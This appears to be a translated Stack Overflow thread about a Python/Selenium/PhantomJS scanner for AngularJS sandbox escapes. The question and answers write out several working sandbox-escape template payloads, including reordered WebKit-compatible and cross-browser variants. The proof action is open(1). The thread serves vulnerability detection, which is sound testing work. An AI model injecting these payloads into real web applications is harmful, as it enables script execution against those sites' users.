【问题标题】:Weird JavaScript behavior in PhantomJS/WebKitPhantomJS/WebKit 中奇怪的 JavaScript 行为
【发布时间】:2017-07-30 16:51:40
【问题描述】:

我正在用 Python 构建一个应用程序,用于检查某个 Web 应用程序是否容易受到 AngularJS Sandbox Escape/Bypass 的攻击。

这是它的工作原理。

我的应用使用以下内容启动本地 Web 服务器 (http://localhost)。

<!DOCTYPE html>
<html>
    <head>
        <script src="https://code.angularjs.org/1.2.19/angular.min.js"></script>
    </head>
    <body ng-app="">
        {{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort(c)}}
    </body>
</html>

我使用的 Sandbox Escape 载荷是 {{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort(c)}},由于调用了 open(1),它应该会打开一个新窗口。

在启动 Web 服务器后,它使用 Selenium(使用 PhantomJS 作为驱动程序)检查是否由于 AngularJS 沙箱逃逸而打开了一个新窗口。

capabilities = dict(DesiredCapabilities.PHANTOMJS)
capabilities["phantomjs.page.settings.XSSAuditingEnabled"] = False

browser = webdriver.PhantomJS(
    executable_path="../phantomjs/win-2.1.1",
    desired_capabilities=capabilities,
)

browser.get("http://localhost/")

return len(browser.window_handles) >= 2

我面临的问题

PhantomJS 不会打开新窗口。当我使用 Google Chrome 导航到 http://localhost 时,它确实会打开一个新窗口。

这是 PhantomJS 控制台日志(包含两个错误):

[
    {
        "level":"WARNING",
        "message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=SyntaxError%3A%20Expected%20token%20')'\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
        "timestamp":1501431637142
    },
    {
        "level":"WARNING",
        "message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
        "timestamp":1501431637142
    }
]

这是 Google Chrome 控制台日志(抛出错误但会打开一个新窗口):

Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%20%20%20%20%20%20%20%20%20%20%20%20%0A%0A&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)
    at angular.js:36
    at Object.r (angular.js:8756)
    at k.$digest (angular.js:12426)
    at k.$apply (angular.js:12699)
    at angular.js:1418
    at Object.d [as invoke] (angular.js:3917)
    at c (angular.js:1416)
    at cc (angular.js:1430)
    at Xc (angular.js:1343)
    at angular.js:21773

其他一些 AngularJS Sandbox Escape 有效载荷可以正常工作。例如下面的有效负载(对于 AngularJS 版本 1.0.0 到 1.1.5)在 Chrome 以及 PhantomJS 中打开一个新窗口。

{{constructor.constructor('open(1)')()}}

我希望有人能够帮助我解决这个问题,以便我可以检测负载是否成功执行。

请注意,我使用的是open(1) 而不是alert(1),因为在 PhantomJS 中无法检测到警报。

提前致谢。


更新 1:

这是一个适用于 Google Chrome 的 JSFiddle,但不适用于 PhantomJS。我正在寻找一种解决方案(可能是负载或 PhantomJS 设置的更改或其他内容),以便负载也可以在 PhantomJS 中触发。

https://jsfiddle.net/x90ey5fa/

更新 2:

我发现它与 AngularJS 无关。下面的 JSFiddle 包含 4 行 JavaScript,它们可以在 Google Chrome 中工作,但不能在 PhantomJS 中工作。我还附上了 PhantomJS 的控制台日志。

https://jsfiddle.net/x90ey5fa/2/

{'level': 'WARNING', 'message': "SyntaxError: Expected token ')'\n  Function (undefined:1)\n  sort (:0)", 'timestamp': 1501795341539}`

版本详情:

Operating System: Windows 10 x64

Python version: 3.6.1

Google Chrome version: 60.0.3112.78

PhantomJS version: 2.1.1

Selenium version: 3.4.3 (installed via PIP)

【问题讨论】:

  • jsFiddle 请。我会尽力帮助你的。
  • 我认为这至少是一个 QtWebKit 错误。 PhantomJS 在后端使用 Qt。我使用 PySide(一个 Qt 端口)制作了一个简单的测试网络浏览器,它也无法解析那个 JavaScript。
  • 该页面已 6 年未更新。 Chrome fork WebKit,现在使用 Blink。不过,QtWebKit 应该与 Safari 相同。在 Safari 上尝试这个可能会很有趣。
  • @AndrewMyers 谢谢。刚刚在 Safari 中测试过。它抛出一个Syntax Error: Unexpected token '('. Expected a ')' or a ',' after a parameter declaration.。所以现在我想知道有效载荷是否应该根据 JavaScript 标准执行。
  • @AndrewMyers 也许我可以使有效负载与 QtWebKit 和正确的 AngularJS 版本兼容。那太棒了:)

标签: javascript google-chrome phantomjs webkit blink


【解决方案1】:

您的 Safari 错误非常有启发性(我在责备自己没有更仔细地阅读它)。观察:

语法错误:在参数声明之后出现意外的标记'('。应为')'或','。

parameter declaration 这部分很重要。

有效载荷的作用是

  1. c 设置为toString 构造函数Function(创建函数)
  2. Function原型的toString方法重定向到call
  3. 使用c对数组进行排序,从而通过Function("a", "open(1)")创建一个新函数
  4. 我不知道为什么,但是这个sort的结果通过toString转换为字符串,已经重定向到call,导致调用了新函数,它调用open(1)

无论如何,这就是它在 Chrome 中的工作方式。但是.sort() 不一定在所有浏览器中都以相同的方式工作。它只是应该对事物进行排序......那么为什么它对项目的查看顺序很重要?毕竟,传递的函数应该确保一切都以正确的顺序出现。

作为MDN saysFunction 的语法是

Function ([arg1[, arg2[, ...argN]],] functionBody)

WebKit 将其“向后”排序,因此不是调用Function("a", "open(1)"),而是调用Function("open(1)", "a")。当给出多个参数时,最后一个被假定为函数体,其余的都被解释为参数。这就是您获得意外令牌的原因。括号不是参数名称的有效部分。

这里有一个替代方案:

c=toString.constructor;p=c.prototype;p.toString=p.call;["open(1)","a"].sort(c)

我在我的基于 QtWebKit 的浏览器中对其进行了测试,它工作正常。当然它也会在 Chrome 上导致 SyntaxError 因为参数是“向后”...


以下是一些尝试,以使其在 PhantomJS 和 Chrome 上的 Angular 中无缝工作。同样,这些不起作用。我将这些留在此处,以防它们激发某人创建更完整的解决方案。

适用于 PhantomJS 和 Chrome,但不适用于 Angular(由于 function):

[1, 0].sort(function(a, b){n=a});d=(n)?["a","open(1)"]:["open(1)","a"];c=toString.constructor;p=c.prototype;p.toString=p.call;d.sort(c)

适用于 Chrome 上的 Angular,但不适用于 PhantomJS:

c=toString.constructor;p=c.prototype;p.toString=p.call;['b=1','d=1'].sort(c);((window.b===undefined)?["a","alert(1)"]:['alert(1)','a']).sort(c)

【讨论】:

  • 哇,这太棒了。感谢您的解释。不幸的是,最后一个不适用于AngularJS,但是向后数组确实有效:)
  • 在 Chrome 和 QtWebKit 中工作的有效负载在 AngularJS 中使用时会抛出此错误:docs.angularjs.org/error/$parse/…
  • 是的。我没有考虑清楚。 Angular应该阻止对function的所有引用,包括FunctiontoString.constructor。即使是原始有效负载也会在函数触发后引起词法分析器警告。
  • 我认为我可以只创建两个数组(以不同的顺序),然​​后对它们都调用排序。但不幸的是,如果第一个排序引发错误,它就会停止工作。使其跨浏览器兼容非常困难。
  • 如果您想要一些非常接近的东西,请查看jsfiddle.net/8k292ppt。它可以创建两个函数,第一个创建一个全局变量。不过,我不确定是否使用 b=1 作为参数。我的 QtWebKit 不喜欢这样,所以 PhantomJS 可能也不喜欢。
【解决方案2】:

您可以通过多种方式做到这一点。仅举几例:

您可以创建(或删除)一个 HTML 元素并在 Selenium 中检测它。

此外,您可以执行 console.log 并使用以下命令检测它:Is there a way to view PhantomJS console.log messages via Selenium/GhostDriver?

其他方式可以是调用PhantomJS function,它会直接向幻像实例发送您想要的任何有效负载(只要有效负载是JSON.stringifable)。

从未使用过 Selenium,所以不知道您是否可以访问 PhantomJS/page 实例。如果 Selenium 允许你这样做,你可以这样做:

phantomjs.page.onCallback = function(data) {
    console.log('CALLBACK: ' + JSON.stringify(data));
};

在您的网页中:

{{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","window.callPhantom && window.callPhantom('YAY!')"].sort(c)}}

例如,只要你能运行你想要的 JavaScript 代码,你就可以为所欲为。

一个简单的方法是在“反向模式”下进行。

【讨论】:

  • 谢谢,但问题不在于我无法检测到有效载荷。问题是有效载荷不在 PhantomJS 中执行。我将尝试编辑我的问题以使其更清楚。
  • @Tijme 哦,我的错
猜你喜欢
  • 2012-06-16
  • 1970-01-01
  • 2015-02-14
  • 1970-01-01
  • 1970-01-01
  • 2013-01-20
  • 1970-01-01
  • 2013-09-16
  • 2011-05-31
相关资源
最近更新 更多